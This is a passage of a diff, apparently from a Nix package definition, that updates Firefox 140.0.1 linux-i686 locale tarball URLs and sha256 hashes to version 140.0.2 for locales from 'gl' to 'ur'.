-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gl/firefox-140.0.2.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "914dc1e196f1e4e8610ea8ae18413c0d858b0349e8723365ade4989702ed8554";
+      sha256 = "b29497c0a8f2b323a34724281e50ad16717475cd7e77969232f7385a1857c1e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gn/firefox-140.0.2.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "e1a8ad71c139ea3158671c1e6888669e27ad9a0c14e235f84f921a082a71112a";
+      sha256 = "31fe81ed44e00539451fe909b74bce5993c6b2ce40a285acd1f65ace282fb858";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gu-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gu-IN/firefox-140.0.2.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "6f223383534739fdc87571d1852614dc8e6689bd711dc4cf0d80fca0cb55dcd3";
+      sha256 = "f6cfb98f513ef4b0b532dc29c456691ce8c7e149bb423f8b7dddd5c4cefb07e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/he/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/he/firefox-140.0.2.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "f912bd4772a0236338048a2aaf65fd00f7af35dee1b27bbe4490f3221f3114c3";
+      sha256 = "45a11a082020b36dc3abd727de1eff3f2bcd12657cde89e119a0c8d3c7974b58";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hi-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hi-IN/firefox-140.0.2.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "9f124027c2c1d7e469720a82ef392b1e4a76ebde2071321360385c3a85fd01d0";
+      sha256 = "c781f6da36d194f730b61ef33080fea7dd13c82d85a4409c93a812198350b5bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hr/firefox-140.0.2.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "91bb68f4a183e73cfa3803e3709ca86ffb09f979d43c1bdea85cb455cf4ed438";
+      sha256 = "d756e3bca4ce7779e6e116483f711ce94ad069ee2efbda29ec1724bf2b651c5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hsb/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hsb/firefox-140.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "809d05e4bc42792394906e7ebf567a78766406110ed4533fc9a6a87f6dabda38";
+      sha256 = "de971db6126097ecdc2d0cb5613afed55e95260f2d3fa308541c863e8c59ef48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hu/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hu/firefox-140.0.2.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "d671c3cc783e1dc346311a82ca93e768d305954a629ad15dc22aa98f0853cf01";
+      sha256 = "8c5924dd3ef6fc2247399311962fd32ef1ad04b5c430ecb39abe37f17308f566";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hy-AM/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hy-AM/firefox-140.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "e81b329ca23c49b505c226095ab20ee36da29285c1dd42e78132f2798d48ee8b";
+      sha256 = "fd33dc0087f60780845a01ce0d8d973c3f8ced50979b636064e490ad5cc775e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ia/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ia/firefox-140.0.2.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "b8e6882d29cdd2cecdbb7d511fe1d5019cc8318540409fc4ad08342eea83f3f1";
+      sha256 = "cb04a55dcf48ea791e9c536d43e682778b94a4107b3c51b40d0fc76831c0f62d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/id/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/id/firefox-140.0.2.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "d93cdabad9e93827c671a6042194fb151cf923302ce75e43c55a9108c5639283";
+      sha256 = "d2d9ef506a7516edc25f1ea008ef4537ab6f547a28d4cceaf3a13958cba947aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/is/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/is/firefox-140.0.2.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "fbb2b8deb93bf151b58ed7e707d23681fec92222d13b59cf3f0908860f385234";
+      sha256 = "8a1fe40b6482b61d6b50c5ee6508ec9bf08e530749ba8b9fc9b19155a5bd1eab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/it/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/it/firefox-140.0.2.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "7abb4e1c4a7000ca79c28f2ee688f2292794f0eed34e6fa0422770edbb01fc55";
+      sha256 = "7e183d66e34ff423e9d98490d48daea925663eb33ce517de5ae9642188169f16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ja/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ja/firefox-140.0.2.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "ef9e590cdcecc0b9efbb454da2b3e2c8df5b564abca67aa1e5a302b9ed32ce51";
+      sha256 = "d9ab0a72a334bda5713afc8f8aec8d40064a120e077fc09c38a0a515d544b353";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ka/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ka/firefox-140.0.2.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "d9db23b21b1847f479061906ab5c944de99416e21e171a9288ac2430e7304ff9";
+      sha256 = "6c04a099a03131009a4b9e3d495425633043e73419fca54a86b7069c64c288b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/kab/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/kab/firefox-140.0.2.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "77bdfc43c5d66f40d87cdb998f43996b36111b89cf2b0108054b7c67ef8da50d";
+      sha256 = "8520faecbbd2f59f4c8c1db31a012b9aaad6ed8ef68c680de34e8006ad73f150";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/kk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/kk/firefox-140.0.2.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "0e3f4b19b6ae97749d5c828db94b721c3ab404463590e62fca4a5feb9276c78f";
+      sha256 = "2c14aa7d161cbbcc1b2e695659643c4516aa9fca487306b1953b7bdad8788c3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/km/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/km/firefox-140.0.2.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "60cf1022d9756224790a33ab248a585aaccf9b4b6759f58039bf69281d63ccd6";
+      sha256 = "70162c50f48915b4a565ebd81aa4771e95e9d1bf5f7bbaf9b9a6af1a8f4062de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/kn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/kn/firefox-140.0.2.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "fccbfafcc29a68b7ca753c976f64af8d4029fe36fc344a0673d5b3656d46b056";
+      sha256 = "f3ae4c7500857c1717352acec3957555cc699ffb0853911b9bbe6eb56ca1a35c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ko/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ko/firefox-140.0.2.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "439a219e25ab5310c54d19b0cffcb7f9219f8ca775069837133acd10a4e5100a";
+      sha256 = "c6de5457fb22ab505dc1628c268f140cec6d430629a3d66ef3d180efbe5a52f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/lij/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/lij/firefox-140.0.2.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "b758c6ee7e2a99e7dc1ace90a346415d2566f17851fadcb654056ee624d84dba";
+      sha256 = "ac00b942457f7a2a92f02a5880e54417aaae071c2c5a18420306e5646b10629a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/lt/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/lt/firefox-140.0.2.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "6445c693d80fb66914b2918f1993d41c87b9ae30b4d181c7c8c743b33ff6f2e6";
+      sha256 = "713e673cc7699aa5106048ef7b8929d1618b257421ed1aea17a45836fa700b07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/lv/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/lv/firefox-140.0.2.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "7904599682f5ee5102e2622c085be7c9d6f93df22a75ac166f2492ded7100b1a";
+      sha256 = "c762ddb67927f1ca8bff6aac3d4f408a66cdbbd52eadd5337561e89fd797a55f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/mk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/mk/firefox-140.0.2.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "50560f21f3699752873cb6a2f5c13854ebefe773228265f7245e6e85d66ade6a";
+      sha256 = "2d15047d1153b71ccf1a5c02bdd2cd00857e84d361300dfcc7f33e57b13a935d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/mr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/mr/firefox-140.0.2.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "f8923cfc8f01ef73c71a49cfdd38318f19b0c543c84a126514341225867ffb77";
+      sha256 = "45e9333ef4c83983307f06d0dfccccba73d16e6c11507ef2a473e9d334abf335";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ms/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ms/firefox-140.0.2.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "b892d9da24680e949c956e7678283d083b9c30d09945fa6d67448c9b0b8b76b8";
+      sha256 = "a24b36363b3b3793c2fa38210794593c65be50db46cde4944903a58be0819781";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/my/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/my/firefox-140.0.2.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "179d3a624f238b87235bb46c47247bfcc56a5269529ecbb5d3224ae0184d3a59";
+      sha256 = "19169c4c48a7ca2aabbe1454e20c9648596872b52259538ed871079a6fbbe4c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/nb-NO/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/nb-NO/firefox-140.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "5b2b64ef9e381d73c80096e3e96227b7476926bb41e9fde4a476e328e71be120";
+      sha256 = "f606376495dd6da948f32ce13a5c6686e59e104ae88e0cc3d361326736b63f2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ne-NP/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ne-NP/firefox-140.0.2.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "4e23866ccebecf985159bd51c79cad114965963e2c514fc87dcdab2fae12e7d4";
+      sha256 = "10db0b50c509d650f942a4138536eddcd0d89afd100f8429453f02b9c1c857a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/nl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/nl/firefox-140.0.2.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "77df1aaec8957e314690c6d3c66dc7758c71ef745d453d6f0234c4b2f0e0fe50";
+      sha256 = "498baf0a4a6e857e2ffaf8cc290435565f72aadf9fa16534cfd8b908230c575c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/nn-NO/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/nn-NO/firefox-140.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "e030ffa92ef65c9c3696d778a1c2aea79633e2eca8abb036be7b633a59528ec9";
+      sha256 = "e089f5985b66f27e00b118bf993421958bb3201fa8969e7bb3db37192722eb4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/oc/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/oc/firefox-140.0.2.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "95634e0d4bdfdcd74046bb716dc2ab7e88ff36205274bf0357ce13a4e2a45c94";
+      sha256 = "8d427058e3773ac866af61624bbe47c468283fa39c60e9868a39f2589e0c641f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pa-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pa-IN/firefox-140.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "7dd99f5232f25a7fbcf934a7dc5f5ce13f483b313af4a3cdc0c8e3dee9490437";
+      sha256 = "55ed4c50b9294e10135636104a55694d4688356a8f0dc887028e97c41fc3f269";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pl/firefox-140.0.2.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "c6720755ac68f95d1260c5c1d78045887beb0a8e7deeefb0ad8baafecfe74cd7";
+      sha256 = "0aa99722a3b865fdefa65ed3c07bfba17c818adfa725216491924990d36499c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pt-BR/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pt-BR/firefox-140.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "43ca63a102ac1090e76160de3850f1a2d4c56ac3ac9236c1919cd2a3ee2a517a";
+      sha256 = "d9977eeeb32c29144528d4d9087c169da59e568a64e05812ed9f51ae0ac28d6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/pt-PT/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pt-PT/firefox-140.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "2bf0cfcf50081a1497ddb15b43333cecf5f56933021fedd0da1ec315e3a23596";
+      sha256 = "098568fb1332dab5e2bf689ecec025d60d8310d5c8f62edad6f62c2d36f46bd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/rm/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/rm/firefox-140.0.2.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "7b10553199bc624a16284990ef86e2287fd9e771a089d777a5119ed764302b27";
+      sha256 = "6e8c8c8c010d28a1762adbc19831cb479ef8842d29c8e75510d7594d6e963d95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ro/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ro/firefox-140.0.2.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "a4c83073722aca2af2887a13a012187a0af7330e2657670c5f2cf8c44bdfdaa4";
+      sha256 = "d19ed5da96a3bb2761c0c38c07ea0b3b05f254c3faca359f36afe5a8c600ccfd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ru/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ru/firefox-140.0.2.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "2aede4407e7dd3505878605abde47f2eb3b8466aaf7745ef18b0209213cc6788";
+      sha256 = "571fb47a5e0ef4e65105e7ba5cc31ab524bb10a79ab63963eb37cccf5cff406e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sat/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sat/firefox-140.0.2.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "83d3fda671a6c30079f0f10dbea07277c8f20fb592ee9b3d904bc910037be818";
+      sha256 = "e3904ff0013252bc53e86915b40610edc4bffebfd62048427036c0aca608cab4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sc/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sc/firefox-140.0.2.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "cb96e96e5b38d6b8d68073f8301006d9bfd358d0c6f2387eb3a460e6df1c01c5";
+      sha256 = "31de923d0836f7d89ef7ae55e1bdebeba88dfa86b1194cc2a973e5fea8b218bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sco/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sco/firefox-140.0.2.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "35c8cf2cf67404ec3e56b32e7435c57f28ada305c6440edf21ddee8902c0b952";
+      sha256 = "e933df74a19d15f59a6bd916c1cfc9b0fa223be3a6a18265158ba8c237b7346e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/si/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/si/firefox-140.0.2.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "5bb717460768adbcccd6f057d05a53bf5ac6ff4f16a1601fecb8bacc4cd30639";
+      sha256 = "1b6784ebcc66b1d95117aca4ceb532c7ac26497908911fd3a6f6e78093ca9041";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sk/firefox-140.0.2.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "36fbb14f00456c44e353c0b2f8482f1d54f29a809807e40e388d84c9e9bd1f00";
+      sha256 = "1c131a544b091194c9a77cb3c974ecee03c04f6036b059ba47f960b77d2a05c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/skr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/skr/firefox-140.0.2.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "7a7c24b413f2d2804910eab9e555e4189637d5df1abcafd8a5ed3d5c5f8f422a";
+      sha256 = "eb9f5fe584ce1a75897d81273412c9b7473a23588ffc42a0688fbab314a9662b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sl/firefox-140.0.2.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "6128cac073364bd96542c35fd5d41d63b1beb260631b1f7d74ad8d0529ebdec8";
+      sha256 = "9d8bef2230d7b8d2eb352688ddb20cdf7017a824ae2e8d85ea28966a816025ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/son/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/son/firefox-140.0.2.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "995b40e98a84faa48da7f3e0a66aee96b205aafc9d30ed63eedf13cef91ca3c0";
+      sha256 = "6cac761c33d9ed8be1d9bcdcd2ba1bc93933349cf562b8e315365ed28910e346";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sq/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sq/firefox-140.0.2.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "29788b09016f720086ece297fa8aa6fcf48e441c860608ae46bf9a8fb3dccd61";
+      sha256 = "6ac69e3de447f6165b3a2e0f1cc613efec5f00e0fc894217b133cb15806d92f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sr/firefox-140.0.2.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "47c8b6786b833730a23918a6690b6a7297d11bbb52945d2791b9fb02650b967d";
+      sha256 = "457d061ceaa31c2705a1e909f656692fe64de9766fdbdaa364dd3379b4557cfa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/sv-SE/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sv-SE/firefox-140.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "62103469db1f61bdd042c79e052e3ef1cf984dfd664e4d7a8fe055614d25fb62";
+      sha256 = "7702db8cb5fb0896fc8a472174cfc6d661e13d732ca1090feaa3a5ae27aac214";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/szl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/szl/firefox-140.0.2.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "69da64a9d1de72bc01133f0e598a87b6a6c6b181e2a08bd48523883d0b34308b";
+      sha256 = "0cfc51cdbd12c31ee3c7b0fc2be864b5f087434e8840d5a6f0e77bb036e5194a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ta/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ta/firefox-140.0.2.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "7265ab46f3e656593b1b492e85ff4b797ac2625982d56ceeac2a2e2917a320d5";
+      sha256 = "f8a7ab5bed5c0f873b7efa4cb356ff3fcea5e7e5e9c21ffb56b0c2d14644a6b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/te/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/te/firefox-140.0.2.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "ea9dfec35f8bc601679fd5f6858a8daf1e3486f9b1864709e9cc5df790abbc75";
+      sha256 = "7dcae041f4c49f0383a312314226406887e5f8ef32231cc8e1ec5980e37eb932";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/tg/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/tg/firefox-140.0.2.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "4b8f3490c4b9493553c2b56b9003775da3ab67a1ab375adec2f7c3e49708b8ee";
+      sha256 = "8124279f9c9549f3848d6c962833e3cf93fe5be31c1ef90c3662d410d0102c6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/th/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/th/firefox-140.0.2.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "a4ecc291f2ff50c0ed8231ab3f4e0d7168207d23c2646a3e78b932879e57a133";
+      sha256 = "b474ef15d79135e281dee9cbb2b10f2fdc4679e9ac21fd860b027216fd153c73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/tl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/tl/firefox-140.0.2.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "ad8dbaee89fbb379305ce86814acdf8da5de52bb0e4f6180cc8a35fe961efe43";
+      sha256 = "0b0546d631a63eec671a07f1880172b129f5b32e1e5ca80c253e384b9e5bd7fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/tr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/tr/firefox-140.0.2.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "edd27c0b00a12431d7d1bc947e28de06d8cc1057230e4cce91305f6d92175908";
+      sha256 = "c323f43318cad08988eb3e822c8841ae99c3b85ad9159da6d22efdbe70f36b56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/trs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/trs/firefox-140.0.2.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "5ebf33f74cca0169161466cf2adab92f41bcdf191ed6c7251b0e143310361abc";
+      sha256 = "c21070795213316816e3cd45cc8f3643639b81117c9788ef4ef24bf5265e1ff8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/uk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/uk/firefox-140.0.2.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "f9984cb1b3c51b93ffcc58db28ec64387bf1203ab6183e545cfa793cd6811797";
+      sha256 = "579b97d4970488a9c8c0bf9a6e313e529fa4e9f4083da5d0b5c3fd20976d9a8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ur/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ur/firefox-140.0.2.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "eb117775f8c9fb4e82c1669382970a4c1dc300e196e2b918aee5791b8a8ff577";
+      sha256 = "a55e11b54220367f01d4168d02f3a3cc529723a2f566b4583f12e875332457a3";
     }
     {
